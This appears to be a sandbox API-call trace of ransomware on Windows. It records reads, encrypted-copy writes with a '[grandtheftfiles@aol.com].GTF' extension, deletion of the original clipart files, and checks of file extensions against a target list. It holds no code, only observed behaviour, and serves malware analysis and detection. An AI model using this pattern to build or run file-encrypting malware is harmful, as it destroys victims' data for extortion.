	[0164.289] ReadFile (in: hFile=0x43c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1364, lpOverlapped=0x0) returned 1
	[0164.291] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0164.292] ReadFile (in: hFile=0x43c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.292] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.292] SetEndOfFile (hFile=0x528) returned 1
	[0164.292] CloseHandle (hObject=0x528) returned 1
	[0164.292] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.292] SetEndOfFile (hFile=0x43c) returned 1
	[0164.295] CloseHandle (hObject=0x43c) returned 1
	[0164.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1
	[0164.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.296] lstrlenW (lpString=".doc") returned 4
	[0164.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.296] lstrlenW (lpString=".docx") returned 5
	[0164.296] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.296] lstrlenW (lpString=".pdf") returned 4
	[0164.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.296] lstrlenW (lpString=".xls") returned 4
	[0164.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.296] lstrlenW (lpString=".xlsx") returned 5
	[0164.296] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.296] lstrlenW (lpString=".ppt") returned 4
	[0164.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.296] lstrlenW (lpString=".zip") returned 4
	[0164.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.296] lstrlenW (lpString=".rar") returned 4
	[0164.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.296] lstrlenW (lpString=".bz2") returned 4
	[0164.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.296] lstrlenW (lpString=".7z") returned 3
	[0164.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.296] lstrlenW (lpString=".dbf") returned 4
	[0164.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.296] lstrlenW (lpString=".1cd") returned 4
	[0164.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.296] lstrlenW (lpString=".jpg") returned 4
	[0164.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.297] lstrlenW (lpString=".doc") returned 4
	[0164.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.297] lstrlenW (lpString=".docx") returned 5
	[0164.297] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.297] lstrlenW (lpString=".pdf") returned 4
	[0164.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.297] lstrlenW (lpString=".xls") returned 4
	[0164.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.297] lstrlenW (lpString=".xlsx") returned 5
	[0164.297] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.297] lstrlenW (lpString=".ppt") returned 4
	[0164.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.297] lstrlenW (lpString=".zip") returned 4
	[0164.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.297] lstrlenW (lpString=".rar") returned 4
	[0164.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.297] lstrlenW (lpString=".bz2") returned 4
	[0164.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.297] lstrlenW (lpString=".7z") returned 3
	[0164.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.297] lstrlenW (lpString=".dbf") returned 4
	[0164.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.297] lstrlenW (lpString=".1cd") returned 4
	[0164.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0164.297] lstrlenW (lpString=".jpg") returned 4
	[0164.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.298] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.298] lstrlenW (lpString="J0105378.WMF") returned 12
	[0164.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.298] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=4964) returned 1
	[0164.298] CloseHandle (hObject=0x43c) returned 1
	[0164.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220
	[0164.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.299] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.299] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0164.533] GetLastError () returned 0x0
	[0164.533] ReadFile (in: hFile=0x43c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1364, lpOverlapped=0x0) returned 1
	[0164.590] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0164.591] ReadFile (in: hFile=0x43c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.591] WriteFile (in: hFile=0x55c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.591] SetEndOfFile (hFile=0x55c) returned 1
	[0164.613] CloseHandle (hObject=0x55c) returned 1
	[0164.616] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.616] SetEndOfFile (hFile=0x43c) returned 1
	[0164.693] CloseHandle (hObject=0x43c) returned 1
	[0164.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1
	[0164.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.993] lstrlenW (lpString=".doc") returned 4
	[0164.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.993] lstrlenW (lpString=".docx") returned 5
	[0164.993] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.993] lstrlenW (lpString=".pdf") returned 4
	[0164.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.993] lstrlenW (lpString=".xls") returned 4
	[0164.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.993] lstrlenW (lpString=".xlsx") returned 5
	[0164.993] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.993] lstrlenW (lpString=".ppt") returned 4
	[0164.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.993] lstrlenW (lpString=".zip") returned 4
	[0164.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.993] lstrlenW (lpString=".rar") returned 4
	[0164.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.993] lstrlenW (lpString=".bz2") returned 4
	[0164.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.993] lstrlenW (lpString=".7z") returned 3
	[0164.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.993] lstrlenW (lpString=".dbf") returned 4
	[0164.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.993] lstrlenW (lpString=".1cd") returned 4
	[0164.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.993] lstrlenW (lpString=".jpg") returned 4
	[0164.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.994] lstrlenW (lpString=".doc") returned 4
	[0164.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.994] lstrlenW (lpString=".docx") returned 5
	[0164.994] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.994] lstrlenW (lpString=".pdf") returned 4
	[0164.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.994] lstrlenW (lpString=".xls") returned 4
	[0164.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.994] lstrlenW (lpString=".xlsx") returned 5
	[0164.994] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.994] lstrlenW (lpString=".ppt") returned 4
	[0164.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.994] lstrlenW (lpString=".zip") returned 4
	[0164.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.994] lstrlenW (lpString=".rar") returned 4
	[0164.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.994] lstrlenW (lpString=".bz2") returned 4
	[0164.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.994] lstrlenW (lpString=".7z") returned 3
	[0164.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.994] lstrlenW (lpString=".dbf") returned 4
	[0164.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.994] lstrlenW (lpString=".1cd") returned 4
	[0164.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68
	[0164.994] lstrlenW (lpString=".jpg") returned 4
	[0164.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.995] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.995] lstrlenW (lpString="J0105496.WMF") returned 12
	[0164.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0164.998] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=5156) returned 1
	[0164.998] CloseHandle (hObject=0x504) returned 1
	[0164.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220
	[0164.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0164.999] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.999] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0165.000] GetLastError () returned 0x0
	[0165.000] ReadFile (in: hFile=0x54c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1424, lpOverlapped=0x0) returned 1
	[0165.001] WriteFile (in: hFile=0x504, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1430, lpOverlapped=0x0) returned 1
	[0165.003] ReadFile (in: hFile=0x54c, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.003] WriteFile (in: hFile=0x504, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.003] SetEndOfFile (hFile=0x504) returned 1
	[0165.003] CloseHandle (hObject=0x504) returned 1
	[0165.003] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.003] SetEndOfFile (hFile=0x54c) returned 1
	[0165.006] CloseHandle (hObject=0x54c) returned 1
	[0165.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1
	[0165.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.007] lstrlenW (lpString=".doc") returned 4
	[0165.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.008] lstrlenW (lpString=".docx") returned 5
	[0165.008] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.008] lstrlenW (lpString=".pdf") returned 4
	[0165.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.008] lstrlenW (lpString=".xls") returned 4
	[0165.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.008] lstrlenW (lpString=".xlsx") returned 5
	[0165.008] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.008] lstrlenW (lpString=".ppt") returned 4
	[0165.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.008] lstrlenW (lpString=".zip") returned 4
	[0165.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.008] lstrlenW (lpString=".rar") returned 4
	[0165.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.008] lstrlenW (lpString=".bz2") returned 4
	[0165.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.008] lstrlenW (lpString=".7z") returned 3
	[0165.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.008] lstrlenW (lpString=".dbf") returned 4
	[0165.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.008] lstrlenW (lpString=".1cd") returned 4
	[0165.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.008] lstrlenW (lpString=".jpg") returned 4
	[0165.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.008] lstrlenW (lpString=".doc") returned 4
	[0165.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.009] lstrlenW (lpString=".docx") returned 5
	[0165.009] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.009] lstrlenW (lpString=".pdf") returned 4
	[0165.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.009] lstrlenW (lpString=".xls") returned 4
	[0165.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.009] lstrlenW (lpString=".xlsx") returned 5
	[0165.009] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.009] lstrlenW (lpString=".ppt") returned 4
	[0165.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.009] lstrlenW (lpString=".zip") returned 4
	[0165.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.009] lstrlenW (lpString=".rar") returned 4
	[0165.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.009] lstrlenW (lpString=".bz2") returned 4
	[0165.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.009] lstrlenW (lpString=".7z") returned 3
	[0165.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.009] lstrlenW (lpString=".dbf") returned 4
	[0165.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.009] lstrlenW (lpString=".1cd") returned 4
	[0165.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0165.009] lstrlenW (lpString=".jpg") returned 4
	[0165.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.009] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.009] lstrlenW (lpString="J0105502.WMF") returned 12
	[0165.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.010] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=5472) returned 1
	[0165.010] CloseHandle (hObject=0x54c) returned 1
	[0165.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220
	[0165.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0165.011] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.011] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0165.011] GetLastError () returned 0x0
